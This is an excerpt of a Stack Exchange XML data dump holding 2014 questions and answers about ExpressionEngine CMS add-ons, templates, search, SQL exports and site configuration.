  <row Id="26234" PostTypeId="2" ParentId="26229" CreationDate="2014-10-14T23:44:12.267" Score="1" Body="&lt;p&gt;I'm guessing here, but I can't test right now. Can you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess it prevents the edition of the &lt;code&gt;config.php&lt;/code&gt; file by the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/admin/config_editor.html&quot; rel=&quot;nofollow&quot;&gt;Config File Editor&lt;/a&gt;: Control Panel &gt; Admin &gt; System Administration &gt; Config File Editor&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-10-14T23:44:12.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26235" PostTypeId="2" ParentId="26233" CreationDate="2014-10-15T00:12:15.497" Score="1" Body="&lt;p&gt;I believe the best is a redirect on the server. It's faster and easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the server runs Apache, you can add to the .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^/media/podcast.xml http://domain.com/media/podcast [L,R=302]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If everything goes right, replace the &lt;code&gt;302&lt;/code&gt; by &lt;code&gt;301&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-10-15T00:12:15.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26236" PostTypeId="1" AcceptedAnswerId="26239" CreationDate="2014-10-15T00:43:47.213" Score="2" ViewCount="133" Body="&lt;p&gt;We have a site where some entry titles are company names including a German umlaut. When we perform a search using Low Search and type in the name 'without' the umlaut (as you would be most likely to do if you have a english language keyboard) then no results are returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when performing the same search from 'within' the ExpressionEngine control panel channel entries listing screen searching without the umlaut does return results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some fundamental difference between how internal entry searches are performed in EE and how Low Search works and is there any workaround we can implement to enable the return of results when we do perform a search on the front end minus the umlaut?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-10-15T07:30:23.070" Title="Foreign Characters and Low Search" Tags="|search|low-search|multi-language|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26237" PostTypeId="2" ParentId="71" CreationDate="2014-10-15T00:51:15.640" Score="0" Body="&lt;p&gt;There is also the free Honeypot for ExpressionEngine add-on which works with Solspace Freeform, Solspace User and Expresso/DevDemon FreeMember.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ninefour/honeypot.ext.ee_addon&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ninefour/honeypot.ext.ee_addon&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-10-15T00:51:15.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26238" PostTypeId="2" ParentId="26228" CreationDate="2014-10-15T01:03:25.753" Score="1" Body="&lt;p&gt;If you're using the &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; tag, within &lt;code&gt;{display_each_day} ... {/display_each_day}&lt;/code&gt; you can use a &lt;code&gt;{day_event_count}&lt;/code&gt; (&lt;a href=&quot;http://www.solspace.com/docs/calendar/calendar/#day_event_count&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/calendar/#day_event_count&lt;/a&gt;) in a conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{display_each_day}&#xA;   &amp;lt;td class=&quot;{if day_event_count &amp;gt; 0}HIGHLIGHT CLASS{/if}&quot;&amp;gt;&#xA;      {day format=&quot;%j&quot;}&#xA;   &amp;lt;/td&amp;gt;&#xA;{/display_each_day}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, &lt;code&gt;{event_count}&lt;/code&gt; can also be used in some cases: &lt;a href=&quot;http://www.solspace.com/docs/calendar/calendar/#event_count&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/calendar/#event_count&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-10-15T01:03:25.753" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26239" PostTypeId="2" ParentId="26236" CreationDate="2014-10-15T07:30:23.070" Score="4" Body="&lt;p&gt;Keyword searches with Low Search are diacritic insensitive. That is to say, both the collection index and given search terms go through an algorithm to strip them out or replace them with unaccented equivalents. LS uses EE's native &lt;code&gt;$foreign_characters&lt;/code&gt; array for this, located in &lt;code&gt;/system/expressionengine/config/foreign_chars.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, take the word &lt;strong&gt;München&lt;/strong&gt;. LS will change this, &lt;em&gt;using the foreign_chars map&lt;/em&gt;, to &lt;strong&gt;muenchen&lt;/strong&gt;. That means if you use the search term &quot;münchen&quot;, LS will transform the search term to &quot;muenchen&quot; too. However, if you search for &quot;munchen&quot;, LS will not change the terms since that doesn't contain diacritics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it's best to &lt;strong&gt;change the values in the &lt;code&gt;foreign_chars.php&lt;/code&gt; file&lt;/strong&gt; to suit your needs. You'll need to update your indexes if you do.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-10-15T07:30:23.070" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26241" PostTypeId="2" ParentId="26231" CreationDate="2014-10-15T08:54:24.413" Score="0" Body="&lt;p&gt;You statement of: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;after changes have been made to development (so overwriting the&#xA;  database is not an option)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Means it isn't straightforward, although it is possible, it's not easy. If you must create content on the Development server and move it to Production &lt;strong&gt;and&lt;/strong&gt; there's no chance of Live being updated independently, then you can move the relevant tables up from Dev to Prod. If both can be updated then you'll have to duplicate stuff manually!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One alternative may be to consider using something like &lt;a href=&quot;http://devot-ee.com/add-ons/publisher&quot; rel=&quot;nofollow noreferrer&quot;&gt;Publisher&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/better-workflow&quot; rel=&quot;nofollow noreferrer&quot;&gt;Better Workflow&lt;/a&gt;, entering all the content into Production, but the client can see the draft content and the live content is then unaffected. And if there is still content that can only be reviewed on Dev, then it can be entered as draft on Prod and the database bought down to Dev.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you make reference to, there are other questions that relate to this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/45/migrating-between-development-staging-and-production-for-a-pre-existing-express/64#64&quot;&gt;Migrating between Development, Staging and Production for a pre-existing ExpressionEngine site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2173/how-to-deploy-from-localhost-development-server-to-live-server&quot;&gt;How to deploy from localhost development server to live server?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1310/syncing-channel-data-across-servers?rq=1&quot;&gt;Syncing channel data across servers&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-10-15T08:54:24.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26242" PostTypeId="2" ParentId="26169" CreationDate="2014-10-15T11:36:04.787" Score="0" Body="&lt;p&gt;Brad from DevDemon was kind enough to provide some suggestions and this has in fact led to a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://eeinsider.com/articles/multi-server-setup-for-ee-2&quot; rel=&quot;nofollow&quot;&gt;http://eeinsider.com/articles/multi-server-setup-for-ee-2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By modifying the config file you can have the URLs set dynamically and thereby all content within a page can load over SSL by default, or not, depending on how the page itself it loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest solution Edd posted above is to have your site running on HTTPS in the EE admin config. If this isn't an option (as was my case), then a dynamic config file will do the trick.&lt;/p&gt;&#xA;" OwnerUserId="3673" LastActivityDate="2014-10-15T11:36:04.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26243" PostTypeId="2" ParentId="25718" CreationDate="2014-10-15T13:28:52.503" Score="2" Body="&lt;p&gt;You can do it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;members/index&quot; class=&quot;button&quot;&amp;gt;Download&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(place this button anywhere you want)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just create group in your templates called members and add &#xA;&lt;code&gt;{exp:ajw_export sql=&quot;SELECT * FROM exp_member_data&quot; format=&quot;csv&quot; filename=&quot;members.csv&quot; }&lt;/code&gt;&#xA;to index file.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-10-15T13:28:52.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26245" PostTypeId="1" CreationDate="2014-10-15T14:41:42.157" Score="1" ViewCount="51" Body="&lt;p&gt;I'm using ajw_export for my CSV,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DATE_FORMAT(from_unixtime(exp_channel_data.field_id_454), '%h:%i') AS Start_Time,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;works but shows time with 6 hour difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DATE_FORMAT(DATE_ADD(from_unixtime(exp_channel_data.field_id_454), '%h:%i')INTERVAL 6 HOUR) AS Start_Time&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it gives me erros in my sql.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me what Am'I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-04-19T11:20:16.533" Title="AJW-Export date formating in CSV is off 6 hours" Tags="|date|sql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26247" PostTypeId="2" ParentId="26207" CreationDate="2014-10-15T14:57:05.323" Score="1" Body="&lt;p&gt;I've done this sort of thing using Zoo Visitor.  With a category group specifically for visibility, which you use to assign content to said categories, in addition to members to the same categories, you can tie it together by using the Zoo Visitor global variable of &quot;&lt;a href=&quot;http://ee-zoo.com/docs/visitor/global-variables.html#member-categories&quot; rel=&quot;nofollow&quot;&gt;Member Categories&lt;/a&gt;&quot; to limit the content displayed to content sharing category assignment with the logged in user using the category parameter on the entries loop. What's nice is that a member can then be part of more than one group if need be.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-10-15T14:57:05.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26248" PostTypeId="1" AcceptedAnswerId="26249" CreationDate="2014-10-15T15:31:07.623" Score="0" ViewCount="372" Body="&lt;p&gt;Is there a way to check if a field with a certain short name exists for a given channel? I'm not checking if a field is left blank, but if it even exists in the field group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, this only checks for it being blank, but not if it exists. I'm sharing a template for a few channels, but certain fields aren't mirror images of each other per-channel. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {segment_1}_code}{{segment_1}_code}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2014-10-15T15:52:02.510" Title="Conditional to check if a field exists for a channel" Tags="|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26249" PostTypeId="2" ParentId="26248" CreationDate="2014-10-15T15:52:02.510" Score="0" Body="&lt;p&gt;In short, no. The template parser doesn't know whether fields exist or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would you do differently based on a field being empty vs. a field not existing? Don't they end up with the same result (conditional fails)?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-15T15:52:02.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26250" PostTypeId="1" CreationDate="2014-10-15T16:29:35.677" Score="0" ViewCount="173" Body="&lt;p&gt;Ran into PHP errors when running a test transaction using Charge on my local setup. Everything worked fine, technically speaking: the test transaction went through on Stripe; the member was moved to the right member group (i.e., the correct Charge action was taken); etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, instead of being directed to the success page, the page gets stuck on the ACT URL and shows the PHP errors shown in this screenshot: &lt;a href=&quot;http://cl.ly/image/1T333W0D2d21&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/1T333W0D2d21&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Need this working pretty quickly here (of course). We're using EE 2.8.1 &amp;amp; Charge 1.8.6.&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2014-10-15T16:29:35.677" Title="PHP Error &quot;Undefined Index&quot; After Successful Charge Transaction" Tags="|stripe|charge|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26251" PostTypeId="1" CreationDate="2014-10-15T16:58:02.927" Score="0" ViewCount="177" Body="&lt;p&gt;Related to this question &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12357/new-channels-shown-by-week&quot;&gt;&lt;em&gt;new channels shown by week&lt;/em&gt;&lt;/a&gt;&lt;br&gt;&#xA;How could you show entries, not for the current, but for next week?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have many future entries, &lt;code&gt;show_future_entries=&quot;yes&quot; display_by=&quot;week&quot; limit=&quot;1&quot;&lt;/code&gt;&lt;br&gt;&#xA;will show one week worth of entries, but it's showing the furthest away future entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some of the options to display entries for next week?&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-10-15T17:30:14.117" Title="How to show entries for next week or last week" Tags="|date|orderby|entry-date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26252" PostTypeId="2" ParentId="26251" CreationDate="2014-10-15T17:30:14.117" Score="2" Body="&lt;p&gt;You could enable php, grab the current time and add as much time as you need, then use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#start-on&quot; rel=&quot;nofollow&quot;&gt;start_on&lt;/a&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or here's a plugin you could use:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/dt-plugin&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/dt-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe something like this as the start_on parameter:&#xA;{exp:dt day=&quot;7&quot; ee_format=&quot;true&quot; format=&quot;%Y-%m-%d %H:%i&quot;}&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-10-15T17:30:14.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26253" PostTypeId="1" CreationDate="2014-10-15T17:33:30.390" Score="0" ViewCount="224" Body="&lt;p&gt;I'm attempting to set up a staging server for a live EE powered website. I decided to use xampp but I'm having problems getting everything working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the live website EE's control panel links look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;index.php?S=098f6bcd4621d373cade4e832627b4f6&amp;D=cp&amp;C=content_publish&amp;M=entry_form&amp;channel_id=8&amp;entry_id=87&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But on my staging setup the same link looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;index.php?/cp/content_publish/entry_form&amp;channel_id=8&amp;entry_id=87&amp;S=098f6bcd4621d373cade4e832627b4f6&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result is an immediate refresh back to the main page of the control panel: I'm unable to navigate further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've updated the config.php, index.php, database.php files with the correct paths. Does anyone have any experience with an issue like this?&lt;/p&gt;&#xA;" OwnerUserId="3694" LastActivityDate="2014-10-15T17:33:30.390" Title="ExpressionEngine control panel links use wrong URL" Tags="|control-panel|php|url|path|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26254" PostTypeId="2" ParentId="1199" CreationDate="2014-10-15T18:19:14.420" Score="3" Body="&lt;p&gt;You should take a look at Low Search Store. This adds compatibility with Expresso Store to Low Search - &lt;a href=&quot;https://github.com/low/low_search_store&quot; rel=&quot;nofollow&quot;&gt;https://github.com/low/low_search_store&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-10-15T18:19:14.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26256" PostTypeId="1" CreationDate="2014-10-15T19:10:57.857" Score="0" ViewCount="25" Body="&lt;p&gt;I have an article-based site that runs slowly, and I would like to change that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, each article has 3 options for tags in the backend (we use this add-on: &lt;a href=&quot;http://www.solspace.com/software/detail/tag/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/software/detail/tag/&lt;/a&gt;). The 3 tag options are primary (mandatory), secondary, and company (if the article mentions a particular company). Also, for each article there is a &quot;related articles&quot; section on the frontend, which is generated based on that article's tag(s). This complicated tagging structure I think is unnecessary, and hard on the database (right)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, each article is cached. This slows down the site and is also hard on the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what would you suggest I do to speed up my website and find &quot;related articles&quot; in a smart, simple way? Is there another add-on you would suggest, or should I stick with Solspace's Tags?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if embed:primaryTag != &quot;&quot;} &lt;/p&gt;&#xA;&#xA;{embed:primaryTag} in the News &#xA;&#xA; &#xA;&#xA;&lt;p&gt;{exp:tag:entries limit=&quot;4&quot; tag=&quot;{embed:primaryTag}&quot; dynamic=&quot;off&quot; tag_group_name=&quot;default|primary_tag&quot; websafe_separator=&quot;&quot; status=&quot;open|imported&quot; disable=&quot;pagination|member_data|categories|custom_fields&quot;} &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;{title}&lt;/li&gt;&#xA;&lt;/ul&gt; &#xA;&#xA;&lt;p&gt;{if count == &quot;4&quot;} More on {embed:primaryTag} &#xA;{/if} &#xA;{/exp:tag:entries} &#xA;{/if}&lt;/p&gt;&#xA;" OwnerUserId="3699" LastEditorUserId="3699" LastEditDate="2014-10-16T20:50:57.493" LastActivityDate="2014-10-16T20:50:57.493" Title="I need help tagging articles in a way that doesn't slow down the database" Tags="|database|tags|related-entries|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26258" PostTypeId="2" ParentId="11960" CreationDate="2014-10-15T21:39:16.333" Score="0" Body="&lt;p&gt;Stash has multisort, and sublists.&lt;br&gt;&#xA;Just add both to a stash list (or one of the two to a sublist)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending if you want both in one list mixed up together,&lt;br&gt;&#xA;then fill a stash list &lt;code&gt;{stash:varname}&lt;/code&gt; with the first datefield,&lt;br&gt;&#xA;then append the list with the other channel, and output the whole list,&lt;br&gt;&#xA;ordered by said varname (datefield).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to keep the rewards organised together with the invoices&lt;br&gt;&#xA;then you can work with sublists. e.g. fetch all invoices,&lt;br&gt;&#xA;and in each loop, fetch the rewards where the joining key matches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash behaves just like a multi-dimensional array,&lt;br&gt;&#xA;and also supports array_multisort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/Lists&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/Lists&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-10-15T21:39:16.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26259" PostTypeId="1" CreationDate="2014-10-15T22:59:48.920" Score="2" ViewCount="123" Body="&lt;p&gt;We're using Low Search and the Low Search Store Filter to add search to our online shop. Works great but we also need to let users sort by price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorting by fields which are native works fine but as 'price' is not a standard entry field passing orderby=&quot;price&quot; has no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there some way to sort by price when using Low Search to display Store results?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-10-16T07:20:08.963" Title="Sorting by Expresso Store Price within Low Search Results" Tags="|expresso-store|low-search|orderby|sorting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26260" PostTypeId="1" AcceptedAnswerId="26282" CreationDate="2014-10-15T23:21:38.247" Score="0" ViewCount="38" Body="&lt;p&gt;I'm attempting to map out and build a fundraising website that would allow for an organisation to set up multiple events during the year. Users would be able to register for these events and get notifications relating to the specific event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each event, however, is to have custom questions relating only to that event. For instance, one fun-run type event might ask the user whether they wish to complete the short run or the long run, while another event may ask whether they user is over eighteen years of age.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I was originally thinking of creating it was to have a registrants channel (using an add-on like Zoo Visitor or Profile:Edit), an events channel and a third channel that would link the two (with one field relating to the registrant channel and one relating to the events channel). This third channel is required to record the registrant's fundraising for that specific event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that perhaps I could then add a custom field in this channel for every question possible to be asked, then hide the ones that weren't relevant to the event chosen (through Javascript).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I just going about this in the completely wrong way? Is there something simpler that I've missed or perhaps I'm trying to stretch too far with one install of EE. Perhaps I need to move towards having one install for each event (or investigate MSM).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help, suggestions or guidance would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2722" LastActivityDate="2014-10-16T19:41:12.340" Title="Registering for different events, with each event having its own registration questions" Tags="|relationships|channel|custom-fields|multiple-channels|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26261" PostTypeId="1" CreationDate="2014-10-15T23:38:02.800" Score="0" ViewCount="37" Body="&lt;p&gt;This used to work, but it doesn't now. We're on User 3.4.6 and the changelog for the current version doesn't show any changes that should affect this. I printed the query from function do_search in mod.user.php and it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT(m.member_id) FROM exp_members m LEFT JOIN exp_member_data md ON md.member_id = m.member_id WHERE m.member_id != 0 AND ( m.email LIKE '%johnbogie@domain.com%') AND ( md.m_field_id_8 LIKE '%%' AND md.m_field_id_9 LIKE '%%' AND md.m_field_id_15 LIKE '%%' AND md.m_field_id_16 LIKE '%%' AND md.m_field_id_24 LIKE '%%' AND md.m_field_id_617 LIKE '%%')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I remove the custom member fields and run the query in SQL pro, it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT(m.member_id) FROM exp_members m LEFT JOIN exp_member_data md ON md.member_id = m.member_id WHERE m.member_id != 0 AND ( m.email LIKE '%johnbogie@domain.com%')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;h2&amp;gt;Member Search&amp;lt;/h2&amp;gt;&#xA;{exp:user:search return=&quot;administration/member-search-results&quot;}&#xA;&#xA;    &amp;lt;div class=&quot;form-field&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;email&quot;&amp;gt;Email Address&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; class=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-field&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;screen_name&quot;&amp;gt;Forum Username&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;screen_name&quot; id=&quot;screen_name&quot; class=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-field&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;cf_member_first_name&quot;&amp;gt;First Name&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;cf_member_first_name&quot; id=&quot;cf_member_first_name&quot; class=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-field&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;cf_member_last_name&quot;&amp;gt;Last Name&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;cf_member_last_name&quot; id=&quot;cf_member_last_name&quot; class=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-field&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;cf_member_company_name&quot;&amp;gt;Company&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;cf_member_company_name&quot; id=&quot;cf_member_company_name&quot; class=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-field&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;cf_member_region&quot;&amp;gt;Region (Non-US &amp;amp;amp; Canada)&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;cf_member_region&quot; id=&quot;cf_member_region&quot; class=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-field&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;cf_member_state&quot;&amp;gt;State (US - Two-letter abbreviation)&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;cf_member_state&quot; id=&quot;cf_member_state&quot; class=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-field&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;cf_member_province&quot;&amp;gt;Province (Canada)&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;cf_member_province&quot; id=&quot;cf_member_province&quot; class=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-submit&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;bSubmit&quot; id=&quot;bSubmit&quot; class=&quot;&quot; value=&quot;Search&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:user:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="149" LastActivityDate="2014-10-15T23:38:02.800" Title="Solspace User Search not searching email address or screen_name" Tags="|solspace|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26262" PostTypeId="2" ParentId="26217" CreationDate="2014-10-16T01:50:55.107" Score="0" Body="&lt;p&gt;The solution was found in an &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19334&quot; rel=&quot;nofollow&quot;&gt;older EE bug report&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To resolve I had to disable the ‘cp_member_login’ hook in the&#xA;  extensions table where the ‘class’ value is ‘Republic_analytics_ext’&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After that was disabled I was able to log in.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-10-16T01:50:55.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
